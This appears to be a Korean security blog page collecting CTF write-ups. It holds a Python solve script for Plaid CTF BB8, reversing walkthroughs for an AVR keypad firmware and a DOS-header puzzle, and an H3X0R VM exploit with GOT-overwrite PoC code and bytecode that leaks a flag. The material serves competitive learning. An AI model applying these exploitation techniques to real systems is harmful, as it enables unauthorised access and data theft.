        K = r.recvuntil("\n")
        ZAq.append(int(K))
        r.sendlineafter("(Y)?","Y")
        r.sendlineafter("(Z/Y)","Z")
        r.sendlineafter("(-1/1)","-1")
        ZBq.append(0)
        r.sendlineafter("(y/N)?","N")

    print "600"
    r.sendlineafter("Bob, do you want to intercept (y/N)?","y")
    r.sendlineafter("(Z/Y)","Z")
    r.recvuntil("measured ")
    K = r.recvuntil("\n")
    ZAq.append(int(K))
    r.sendlineafter("(Y)?","Y")
    r.sendlineafter("(Z/Y)","Z")
    ZBq.append(0)
    r.sendlineafter("(-1/1)","-1")
    return (ZAq,ZBq)

def WatchBases(ZAq,ZBq):
    CAq = []
    CBq = []
    C = 0
    T = 0
    for i in range(600):
        print i
        r.sendlineafter("(y/N)?","y")
        r.sendlineafter("(Z/Y)","Z")
        r.recvuntil("measured ")
        B = r.recvuntil("\n")
        r.sendlineafter("(Y)?","Y")
        r.sendlineafter("(Z/Y)","Z")
        r.sendlineafter("(-1/1)","-1")
        r.sendlineafter("(y/N)?","y")
        r.sendlineafter("(Z/Y)","Z")
        r.recvuntil("measured ")
        K = r.recvuntil("\n")
        if int(K) == 1:
            CAq.append(ZAq[i])
            C+=1
        r.sendlineafter("(Y)?","Y")
        r.sendlineafter("(Z/Y)","Z")
        if T <= 256:
            
            if int(B) == 1 or C == 0:
                r.sendlineafter("(-1/1)","-1")
            else:
                T+=1
                r.sendlineafter("(-1/1)","1")
                CBq.append(ZBq[i])
                C -= 1
        else:
            if C != 0:
                r.sendlineafter("(-1/1)","1")
                CBq.append(ZBq[i])
                C -= 1
            else:
                r.sendlineafter("(-1/1)","-1")
    return (CAq,CBq)

def Check(Cq):
    for i in range(0, len(Cq), 2):
        print i
        r.sendlineafter("(y/N)?", "y")
        r.sendlineafter("(Z/Y)","Z")
        r.sendlineafter("(Y)?","Y")
        r.sendlineafter("(Z/Y)","Z")
        r.sendlineafter("(-1/1)",str(Cq[i]))
        r.sendlineafter("(y/N)?","y")
        r.sendlineafter("(Z/Y)","Z")
        r.recvuntil("measured ")
        K = r.recvuntil("\n")
        if int(K) != 1:
            print "fuck!"
        r.sendlineafter("(Y)?","N")

def main():
    ZAq,ZBq = GetQubit()
    print ZAq
    print ZBq
    CAq,CBq = WatchBases(ZAq,ZBq)
    print CAq
    print CBq
    print len(CAq)
    print len(CBq)
    assert(len(CAq) == len(CBq))
    Check(CAq)

    KeybitsA = []
    KeybitsB = []

    for i in range(len(CAq)):
        if CAq[i] == -1:
            KeybitsA.append(0)
        else:
            KeybitsA.append(1)

    for i in range(len(CBq)):
        if CBq[i] == -1:
            KeybitsB.append(0)
        else:
            KeybitsB.append(1)

    print KeybitsA
    print KeybitsB
    aes_keyA = 0
    aes_keyB = 0
    for i in range(128):
        aes_keyA |= (KeybitsA[2*i+1] << (127-i))
        aes_keyB |= (KeybitsB[2*i+1] << (127-i))

    print "aes key A : " + hex(aes_keyA)
    print "aes key B : " + hex(aes_keyB)

    r.interactive()

if __name__ == "__main__":
    main()


'CTF' 카테고리의 다른 글

2017 DIMICTF problems & 후기  (0) 2017.07.22
Google CTF 2017 Moon  (0) 2017.06.23
SSG 2017 Write Up  (0) 2017.06.02
Plaid CTF 2017 Down the Reversing Hole  (0) 2017.04.24
CodeGate 2017 Event Challenge Keypad  (0) 2017.04.14
반응형

포너블 실력은 어디갔는지 보이지를 않네;;


SSGWriteUp.pdf


'CTF' 카테고리의 다른 글

Google CTF 2017 Moon  (0) 2017.06.23
Plaid CTF 2017 BB8  (0) 2017.06.02
Plaid CTF 2017 Down the Reversing Hole  (0) 2017.04.24
CodeGate 2017 Event Challenge Keypad  (0) 2017.04.14
DoubleS1405 Write UP  (0) 2017.04.01
반응형

Down the Reversing Hole


문제 이름에 리버싱이라 적혀 있지만 MISC라고 문제 설명에 적혀 있었다.

이게 무슨 의미인지 잘 모르겠지만 일단 IDA로 열어보기로 했다.



main함수의 내부는 간단하였다.

마지막에 flag를 출력하는 것을 보고 

"PCTF{"로 시작하면 되겠지라고 생각하고 z3를 사용하였다.



코드를 짜고 돌려보았다.



??????

다시 한번 main함수를 분석하니 "flag?" 라고 되어 있음을 보아

함정이라는 것을 짐작하였고, 조금더 분석하다가 DOS 헤더에 무언가 있는것을 발견하였다.



table 2개를 xor 한뒤 출력한다. DosBox로 열어보기로 했다.



FLAG: PCTF{at_l3a5t_th3r3s_d00m_p0rts_0n_d0s}

'CTF' 카테고리의 다른 글

Plaid CTF 2017 BB8  (0) 2017.06.02
SSG 2017 Write Up  (0) 2017.06.02
CodeGate 2017 Event Challenge Keypad  (0) 2017.04.14
DoubleS1405 Write UP  (0) 2017.04.01
Codegate2017 prequals Writeup  (0) 2017.02.15
반응형

CodeGate 3일차때 락 피킹존에서 디지털 락피킹 문제가 있는것을 알았습니다.



사람들이 많이 모여 있어서 궁금해서 찾아 갔습니다.



이렇게 구성되어 있습니다.

간단한(?) 펌웨어를 리버싱해서 키를 찾아 내는 것이라더군요.

문제를 풀면 피규어와 티셔츠를 준다고 하길레 문제를 풀기 시작했습니다.



티셔츠는 이렇게 멋지게 생겼습니다

문제는 노트북을 가져오지 않아 후배한테 빌려 문제를 풀었습니다.





상품으로 주는 티는 노트북을 돌려주며 같이 줬습니다.


디지털 도어락은 아두이노 우노(AVR) 로 만들어져 있었습니다.

*를 누르면 리셋, #을 누르면 Check를 한다고 합니다.

펌웨어의 파일 확장자는 bin이었고 이것은 아두이노에 펌웨어를 올릴때 사용하는 바이너리 파일입니다.

이제 IDA로 열어보았습니다.




IDA로 열때 주의해야 할 점이 Processor Type을 Atmel AVR로 맞춰줘야 한다는 점입니다.

계속 버튼을 누르다 보면 bin 파일을 선택하라는 창이 뜰 텐데 그 때 우리가 분석하려는 파일인 keypad.bin을 선택하면 됩니다.

AVR을 리버싱 할때 문제점이 Hex-Ray나 RD로 디컴파일이 불가능 하고 동적 분석하기 매우 까다롭기 때문에 정적 분석으로만 해야 하는 경우가 많습니다.


아두이노는 전원이 연결되었거나 리셋 버튼이 눌러졌을때 _RESET에서 시작하게 됩니다. (사실 인터럽트 헨들러가 _RESET로 점프하게 되어 있습니다)

_RESET에서는 아두이노를 초기화 하고 main을 실행하게 됩니다.

이 바이너리에서는 sub_66f입니다.


main 함수를 그래프입니다.

그래프를 보면 비교를 많이 하는 부분이 보입니다.

여기를 먼저 분석해 봅시다.



일단 r28의 값이 '#' 인지 비교하는 부분이 있습니다.

'#'은 입력한 비밀번호를 체크하는 버튼 입니다.

매우 수상하니 계속 이 부분을 분석해 봅시다.



계속 내려갈수록 메모리에서 값을 가져오고 숫자들과 비교하는 것을 볼 수 있습니다.



또한 하나라도 틀렸을때는 결과적으로 모두 같은 곳을 가리키고 있지만 모두 맞췄을 경우에는 다른 부분으로 가게 된다는 것을 알 수 있습니다.

각 메모리와 비교하는 값을 정리해 보면 

0x129 2

0x12A 4

0x12B 8

0x12C 9

0x12D 0

0x12E 1

0x12F 1

0x130 9


이렇게 나오게 됩니다. IDA로 보았을때는 0x200129로 나올 텐데 이것은

AVR은 데이터를 저장하는 메모리가 프로그램을 저장하는 메모리와 다르고 0x0부터 offset이 시작되지만

IDA에서는 0x200000에서부터 offset이 시작되기 때문에 실제로는 0x129에 저장되는 값이 IDA에서는 0x200129로 표시되게 됩니다.

따라서 저는 24890119가 비밀번호인줄 알고 시도했으나 아니였습니다.


따라서 0x129에 값을 집어넣는 부분을 찾아 봤습니다.

IDA에서 unk_200129에 커서를 놓은뒤 x를 누르면 참조하는 부분으로 바로 jump가 가능합니다.



이곳 입니다. 0x129에 값을 넣는 코드는 있지만 다른 주소에는 값을 넣는 코드가 존재하지 않았습니다

따라서 윗 부분을 보니 



0x8F9 ~ 0x8FC 코드를 보면 

r30 = 0x30

r29 = 0x01

r26 = 0x31

r25 = 0x01

와 같이 레지스터에 값을 집어 넣고

갑자기 X, Z라는 뜬금없는 레지스터가 등장합니다.

이 레지스터는 데이터 영역에 접근하기 위해 사용되는 레지스터로

일반적인 AVR 레지스터의 크기는 1Byte 로

2Byte Address를 사용하는 데이터 메모리에 접근이 불가능 하지만

X,Y,Z 레지스터를 사용하여 접근이 가능합니다


X = r25:r26

Y = r27:r28

Z = r29:r30

으로 묶어져 있는 형태입니다.

따라서 X = 0x131, Z = 0x130이 되고

밑에 있는 반복문은 0x129까지 값을 한칸 Shift 하는 코드가 됩니다.


따라서 우리가 넣는 값은 큐처럼 뒤로 밀려가게 되므로 위에서 구한 값을 거꾸로 넣어야 합니다

따라서 키는 

91109842가 됩니다.


비슷한 문제를 풀고 싶으면 Reversing.KR의 CustomShell을 풀어보는것을 추천합니다.


실제 도어락을 푸는 듯한 경험을 할 수 있었고 다음 CodeGate에서도 이런 행사가 있었으면 좋겠습니다!

'CTF' 카테고리의 다른 글

SSG 2017 Write Up  (0) 2017.06.02
Plaid CTF 2017 Down the Reversing Hole  (0) 2017.04.24
DoubleS1405 Write UP  (0) 2017.04.01
Codegate2017 prequals Writeup  (0) 2017.02.15
H3X0R - Stage1  (0) 2017.01.08
반응형

DoubleS1405 KSHMK WriteUp.pdf


'CTF' 카테고리의 다른 글

Plaid CTF 2017 Down the Reversing Hole  (0) 2017.04.24
CodeGate 2017 Event Challenge Keypad  (0) 2017.04.14
Codegate2017 prequals Writeup  (0) 2017.02.15
H3X0R - Stage1  (0) 2017.01.08
PlaidCTF 2016 quick  (0) 2016.04.18
반응형

KSHMK-Writeup.pdf


'CTF' 카테고리의 다른 글

CodeGate 2017 Event Challenge Keypad  (0) 2017.04.14
DoubleS1405 Write UP  (0) 2017.04.01
H3X0R - Stage1  (0) 2017.01.08
PlaidCTF 2016 quick  (0) 2016.04.18
CodeGate 2016 Junior BugBug  (0) 2016.03.20
반응형

IDA CODE VCPU Line 27

  fp = fopen(file_path, "rb");
  if ( !fp )
  {
    puts("\nFILE ERROR!!");
    printf("FILE : %s\n", file_path);
    exit(1);
  }
  fread(fbuf, 1u, 0x10000u, fp);
  if ( DBG_FLG )
    puts("[+] FILE READING...");
  memcpy(CODE, fbuf, 0x10000u);
  if ( DBG_FLG )
    puts("[*] INSERT COMPLETE\n");
  close((int)fp);
  regi->_EIP = (OPCODE *)CODE;
  if ( DBG_FLG )
    printf("[+] EIP SET : 0x%08x\n", regi->_EIP);

  /* 생략 */

  while ( 1 )
  {
    do
    {
      opcodes[v0->INS]((char)v0->MOD, v0->OPT1, v0->OPT2);
      v0 = regi->_EIP;
    }


분석을 하면 고맙게도 strip을 하지 않은 것을 알 수 있다.

일단 바이너리는 온몸을 다해서 자신이 VM이라는 것을 말하고 있는데


IDA CODE mov_8

void __cdecl mov_8(_DWORD *a1, int a2)
{
  *a1 = a2;
  if ( DBG_FLG )
    printf("[*] MOV RESULT : %08x,%08x\n", *a1, a2);
}


여기를 분석하면 mov [OPT1]. OPT2 가 되어

원하는 주소에 값을 넣을 수 있다.


IDA CODE mov_6

int __cdecl mov_6(_DWORD *a1, _DWORD *a2)
{
  int result; // eax@1

  *a1 = *a2;
  result = (unsigned __int8)DBG_FLG;
  if ( DBG_FLG )
    result = printf("[*] MOV RESULT : %08x,%08x\n", *a1, *a2);
  return result;
}

IDA CODE mov_1

int __cdecl mov_1(int a1, _DWORD *a2)
{
  int result; // eax@1

  *(&regi->_EAX + a1) = *a2;
  result = (unsigned __int8)DBG_FLG;
  if ( DBG_FLG )
    result = printf("[*] MOV RESULT : %08x,%08x\n", *(&regi->_EAX + a1), a2);
  return result;
}


또한 mov_6에서는 mov [OPT1], [OPT2]

mov_1 은 mov REG[OPT1], [OPT2]

와 같이 메모리의 값을 가져 올 수 있다


syscall 함수에서 read, write 함수를 호출 하므로

read GOT와 write GOT를 덮어 씌워 주면 flag가?


cat: flag: Permission denied


???????

여기서 던짐 각이 나왔다.

원인은 setuid를 한게 아닌 setgid를 해서

권한이 없다는 것이다.


그래서 밥먹고 다시 생각해 보니


1. file_path를 flag로 맞춘다

2. memcpy를 write로 바꾼다

3. CODE를 01로 바꾼다

4. read를 VCPU+0x17D로 바꾼다

5. syscall read를 호출한다

6. ??????

7, PROFIT!


GOT를 VCPU에 있는 memcpy가

memcpy(CODE, fbuf, 0x10000u);

write(01, fbuf, 0x10000u);

가 되면서 플래그를 뿌려 줄 것이다

POC Code
mov [0x804d140],0x67616c66
mov [0x804d144],0x00000000


mov [0x804D018],[0x804D034]
mov [0x804D010],0x8048970
mov [0x0804D1B4], 01
syscall read

Byte Code

0000140040d10408666c6167
0000140044d1040800000000
0000110018d0040834d00408
0000140010d0040870890408
00001400b4d1040801000000
180000000000000000000000

SSH

VM@ip-172-31-17-183:~$ ./VM -f /tmp/lol/tmp
H3X0R{TH15_15_5T4G3_0N3}
4´Segmentation fault (core dumped)
VM@ip-172-31-17-183:~$


'CTF' 카테고리의 다른 글

DoubleS1405 Write UP  (0) 2017.04.01
Codegate2017 prequals Writeup  (0) 2017.02.15
PlaidCTF 2016 quick  (0) 2016.04.18
CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19

+ Recent posts